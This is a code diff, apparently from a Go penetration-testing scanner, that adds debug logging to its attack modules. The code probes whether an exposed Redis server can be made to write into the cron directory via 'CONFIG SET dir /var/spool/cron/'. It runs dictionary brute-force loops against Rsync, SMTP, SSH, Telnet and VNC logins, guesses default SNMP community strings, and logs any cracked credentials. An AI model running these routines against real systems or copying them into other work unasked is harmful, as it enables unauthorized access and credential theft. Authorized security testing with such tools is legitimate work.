_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
|
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")); err != nil {
|
||||||
if err != nil {
|
Common.LogDebug(fmt.Sprintf("发送定时任务目录测试命令失败: %v", err))
|
||||||
fmt.Printf("发送定时任务目录测试命令失败: %v\n", err)
|
|
||||||
return flag, flagCron, err
|
return flag, flagCron, err
|
||||||
}
|
}
|
||||||
text, err = readreply(conn)
|
text, err = readreply(conn)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Printf("读取定时任务目录测试响应失败: %v\n", err)
|
Common.LogDebug(fmt.Sprintf("读取定时任务目录测试响应失败: %v", err))
|
||||||
return flag, flagCron, err
|
return flag, flagCron, err
|
||||||
}
|
}
|
||||||
fmt.Printf("定时任务目录测试响应: %s\n", text)
|
Common.LogDebug(fmt.Sprintf("定时任务目录测试响应: %s", text))
|
||||||
if strings.Contains(text, "OK") {
|
if strings.Contains(text, "OK") {
|
||||||
flagCron = true
|
flagCron = true
|
||||||
fmt.Println("定时任务目录写入权限测试成功")
|
Common.LogDebug("定时任务目录可写")
|
||||||
} else {
|
} else {
|
||||||
fmt.Println("定时任务目录写入权限测试失败")
|
Common.LogDebug("定时任务目录不可写")
|
||||||
}
|
}
|
||||||
|
|
||||||
fmt.Printf("写入权限测试完成 - SSH权限: %v, Cron权限: %v\n", flag, flagCron)
|
Common.LogDebug(fmt.Sprintf("写入权限测试完成 - SSH权限: %v, Cron权限: %v", flag, flagCron))
|
||||||
return flag, flagCron, err
|
return flag, flagCron, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// getconfig 获取Redis配置信息
|
// getconfig 获取Redis配置信息
|
||||||
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
||||||
|
Common.LogDebug("开始获取Redis配置信息")
|
||||||
|
|
||||||
// 获取数据库文件名
|
// 获取数据库文件名
|
||||||
_, err = conn.Write([]byte("CONFIG GET dbfilename\r\n"))
|
Common.LogDebug("获取数据库文件名")
|
||||||
if err != nil {
|
if _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")); err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("获取数据库文件名失败: %v", err))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
text, err := readreply(conn)
|
text, err := readreply(conn)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("读取数据库文件名响应失败: %v", err))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -554,14 +607,17 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
|||||||
} else {
|
} else {
|
||||||
dbfilename = text1[0]
|
dbfilename = text1[0]
|
||||||
}
|
}
|
||||||
|
Common.LogDebug(fmt.Sprintf("数据库文件名: %s", dbfilename))
|
||||||
|
|
||||||
// 获取数据库目录
|
// 获取数据库目录
|
||||||
_, err = conn.Write([]byte("CONFIG GET dir\r\n"))
|
Common.LogDebug("获取数据库目录")
|
||||||
if err != nil {
|
if _, err = conn.Write([]byte("CONFIG GET dir\r\n")); err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("获取数据库目录失败: %v", err))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
text, err = readreply(conn)
|
text, err = readreply(conn)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("读取数据库目录响应失败: %v", err))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -572,31 +628,37 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
|||||||
} else {
|
} else {
|
||||||
dir = text1[0]
|
dir = text1[0]
|
||||||
}
|
}
|
||||||
|
Common.LogDebug(fmt.Sprintf("数据库目录: %s", dir))
|
||||||
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// recoverdb 恢复Redis数据库配置
|
// recoverdb 恢复Redis数据库配置
|
||||||
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
|
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
|
||||||
|
Common.LogDebug("开始恢复Redis数据库配置")
|
||||||
|
|
||||||
// 恢复数据库文件名
|
// 恢复数据库文件名
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
|
Common.LogDebug(fmt.Sprintf("恢复数据库文件名: %s", dbfilename))
|
||||||
if err != nil {
|
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename))); err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("恢复数据库文件名失败: %v", err))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
_, err = readreply(conn)
|
if _, err = readreply(conn); err != nil {
|
||||||
if err != nil {
|
Common.LogDebug(fmt.Sprintf("读取恢复文件名响应失败: %v", err))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// 恢复数据库目录
|
// 恢复数据库目录
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
|
Common.LogDebug(fmt.Sprintf("恢复数据库目录: %s", dir))
|
||||||
if err != nil {
|
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))); err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("恢复数据库目录失败: %v", err))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
_, err = readreply(conn)
|
if _, err = readreply(conn); err != nil {
|
||||||
if err != nil {
|
Common.LogDebug(fmt.Sprintf("读取恢复目录响应失败: %v", err))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug("数据库配置恢复完成")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
@ -16,14 +16,25 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
Common.LogDebug("尝试匿名访问...")
|
||||||
|
|
||||||
// 首先测试匿名访问
|
// 首先测试匿名访问
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试匿名访问", retryCount+1))
|
||||||
|
}
|
||||||
|
|
||||||
flag, err := RsyncConn(info, "", "")
|
flag, err := RsyncConn(info, "", "")
|
||||||
if flag && err == nil {
|
if flag && err == nil {
|
||||||
|
Common.LogSuccess(fmt.Sprintf("Rsync服务 %v:%v 匿名访问成功", info.Host, info.Ports))
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
errlog := fmt.Sprintf("Rsync服务 %v:%v 匿名访问失败: %v", info.Host, info.Ports, err)
|
||||||
|
Common.LogError(errlog)
|
||||||
|
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
return err
|
||||||
@ -34,32 +45,41 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
starttime := time.Now().Unix()
|
totalUsers := len(Common.Userdict["rsync"])
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := totalUsers * totalPass
|
||||||
|
|
||||||
// 遍历所有用户名密码组合
|
// 遍历所有用户名密码组合
|
||||||
for _, user := range Common.Userdict["rsync"] {
|
for _, user := range Common.Userdict["rsync"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
tried++
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||||
// 检查是否超时
|
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行Rsync连接
|
// 执行Rsync连接
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(user, pass string) {
|
go func(user, pass string) {
|
||||||
flag, err := RsyncConn(info, user, pass)
|
flag, err := RsyncConn(info, user, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{flag && err == nil, err}
|
}{flag && err == nil, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}(user, pass)
|
}(user, pass)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -68,6 +88,9 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
case result := <-done:
|
case result := <-done:
|
||||||
err = result.err
|
err = result.err
|
||||||
if result.success {
|
if result.success {
|
||||||
|
successLog := fmt.Sprintf("Rsync服务 %v:%v 爆破成功 用户名: %v 密码: %v",
|
||||||
|
info.Host, info.Ports, user, pass)
|
||||||
|
Common.LogSuccess(successLog)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||||
@ -83,7 +106,7 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
// 检查是否需要重试
|
// 检查是否需要重试
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
continue // 继续重试
|
continue // 继续重试
|
||||||
}
|
}
|
||||||
@ -94,6 +117,7 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -17,13 +17,20 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
Common.LogDebug("尝试匿名访问...")
|
||||||
|
|
||||||
// 先测试匿名访问
|
// 先测试匿名访问
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
flag, err := SmtpConn(info, "", "")
|
flag, err := SmtpConn(info, "", "")
|
||||||
if flag && err == nil {
|
if flag && err == nil {
|
||||||
|
Common.LogSuccess("匿名访问成功!")
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
errlog := fmt.Sprintf("smtp %v:%v anonymous %v", info.Host, info.Ports, err)
|
||||||
|
Common.LogError(errlog)
|
||||||
|
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
return err
|
||||||
@ -34,32 +41,41 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
starttime := time.Now().Unix()
|
totalUsers := len(Common.Userdict["smtp"])
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := totalUsers * totalPass
|
||||||
|
|
||||||
// 遍历所有用户名密码组合
|
// 遍历所有用户名密码组合
|
||||||
for _, user := range Common.Userdict["smtp"] {
|
for _, user := range Common.Userdict["smtp"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
tried++
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||||
// 检查是否超时
|
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行SMTP连接
|
// 执行SMTP连接
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(user, pass string) {
|
go func(user, pass string) {
|
||||||
flag, err := SmtpConn(info, user, pass)
|
flag, err := SmtpConn(info, user, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{flag, err}
|
}{flag, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}(user, pass)
|
}(user, pass)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -83,7 +99,7 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
// 检查是否需要重试
|
// 检查是否需要重试
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
continue // 继续重试
|
continue // 继续重试
|
||||||
}
|
}
|
||||||
@ -94,6 +110,7 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -18,30 +18,40 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
portNum, _ := strconv.Atoi(info.Ports)
|
portNum, _ := strconv.Atoi(info.Ports)
|
||||||
defaultCommunities := []string{"public", "private", "cisco", "community"}
|
defaultCommunities := []string{"public", "private", "cisco", "community"}
|
||||||
starttime := time.Now().Unix()
|
|
||||||
timeout := time.Duration(Common.Timeout) * time.Second
|
timeout := time.Duration(Common.Timeout) * time.Second
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试默认 community 列表 (总数: %d)", len(defaultCommunities)))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := len(defaultCommunities)
|
||||||
|
|
||||||
// 遍历所有 community
|
// 遍历所有 community
|
||||||
for _, community := range defaultCommunities {
|
for _, community := range defaultCommunities {
|
||||||
// 检查是否超时
|
tried++
|
||||||
if time.Now().Unix()-starttime > int64(timeout.Seconds()) {
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试 community: %s", tried, total, community))
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: community: %s", retryCount+1, community))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行SNMP连接
|
// 执行SNMP连接
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(community string) {
|
go func(community string) {
|
||||||
success, err := SNMPConnect(info, community, portNum)
|
success, err := SNMPConnect(info, community, portNum)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{success, err}
|
}{success, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}(community)
|
}(community)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -69,7 +79,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
// 检查是否需要重试
|
// 检查是否需要重试
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
continue // 继续重试
|
continue // 继续重试
|
||||||
}
|
}
|
||||||
@ -79,6 +89,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个 community", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -18,13 +18,27 @@ func SshScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
totalUsers := len(Common.Userdict["ssh"])
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := totalUsers * totalPass
|
||||||
|
|
||||||
// 遍历所有用户名密码组合
|
// 遍历所有用户名密码组合
|
||||||
for _, user := range Common.Userdict["ssh"] {
|
for _, user := range Common.Userdict["ssh"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
tried++
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||||
|
}
|
||||||
|
|
||||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout)*time.Second)
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout)*time.Second)
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
@ -74,6 +88,7 @@ func SshScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if Common.SshKeyPath != "" {
|
if Common.SshKeyPath != "" {
|
||||||
|
Common.LogDebug("检测到SSH密钥路径,停止密码尝试")
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -82,6 +97,7 @@ func SshScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -18,34 +18,45 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
starttime := time.Now().Unix()
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
totalUsers := len(Common.Userdict["telnet"])
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := totalUsers * totalPass
|
||||||
|
|
||||||
// 遍历所有用户名密码组合
|
// 遍历所有用户名密码组合
|
||||||
for _, user := range Common.Userdict["telnet"] {
|
for _, user := range Common.Userdict["telnet"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
|
tried++
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||||
// 检查是否超时
|
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行Telnet连接
|
// 执行Telnet连接
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
noAuth bool
|
noAuth bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(user, pass string) {
|
go func(user, pass string) {
|
||||||
flag, err := telnetConn(info, user, pass)
|
flag, err := telnetConn(info, user, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
noAuth bool
|
noAuth bool
|
||||||
err error
|
err error
|
||||||
}{err == nil, flag, err}
|
}{err == nil, flag, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}(user, pass)
|
}(user, pass)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -79,17 +90,17 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
// 检查是否需要重试
|
// 检查是否需要重试
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
continue // 继续重试
|
continue // 继续重试
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
break // 如果不需要重试,跳出重试循环
|
break // 如果不需要重试,跳出重试循环
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -8,7 +8,6 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// VncScan 执行VNC服务扫描及密码尝试
|
|
||||||
func VncScan(info *Common.HostInfo) (tmperr error) {
|
func VncScan(info *Common.HostInfo) (tmperr error) {
|
||||||
if Common.DisableBrute {
|
if Common.DisableBrute {
|
||||||
return
|
return
|
||||||
@ -16,29 +15,39 @@ func VncScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
|
|
||||||
maxRetries := Common.MaxRetries
|
maxRetries := Common.MaxRetries
|
||||||
modename := "vnc"
|
modename := "vnc"
|
||||||
starttime := time.Now().Unix()
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||||
|
totalPass := len(Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试密码组合 (总密码数: %d)", totalPass))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
|
||||||
// 遍历所有密码
|
// 遍历所有密码
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
// 检查是否超时
|
tried++
|
||||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", tried, totalPass, pass))
|
||||||
return fmt.Errorf("扫描超时")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重试循环
|
// 重试循环
|
||||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retryCount+1, pass))
|
||||||
|
}
|
||||||
|
|
||||||
// 执行VNC连接
|
// 执行VNC连接
|
||||||
done := make(chan struct {
|
done := make(chan struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
})
|
}, 1)
|
||||||
|
|
||||||
go func(pass string) {
|
go func(pass string) {
|
||||||
success, err := VncConn(info, pass)
|
success, err := VncConn(info, pass)
|
||||||
done <- struct {
|
select {
|
||||||
|
case done <- struct {
|
||||||
success bool
|
success bool
|
||||||
err error
|
err error
|
||||||
}{success, err}
|
}{success, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
}(pass)
|
}(pass)
|
||||||
|
|
||||||
// 等待结果或超时
|
// 等待结果或超时
|
||||||
@ -66,16 +75,16 @@ func VncScan(info *Common.HostInfo) (tmperr error) {
|
|||||||
// 检查是否是需要重试的错误
|
// 检查是否是需要重试的错误
|
||||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
if retryCount == maxRetries-1 {
|
if retryCount == maxRetries-1 {
|
||||||
return err
|
continue
|
||||||
}
|
}
|
||||||
continue // 继续重试
|
continue // 继续重试
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
break // 如果不需要重试,跳出重试循环
|
break // 如果不需要重试,跳出重试循环
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个密码", tried))
|
||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user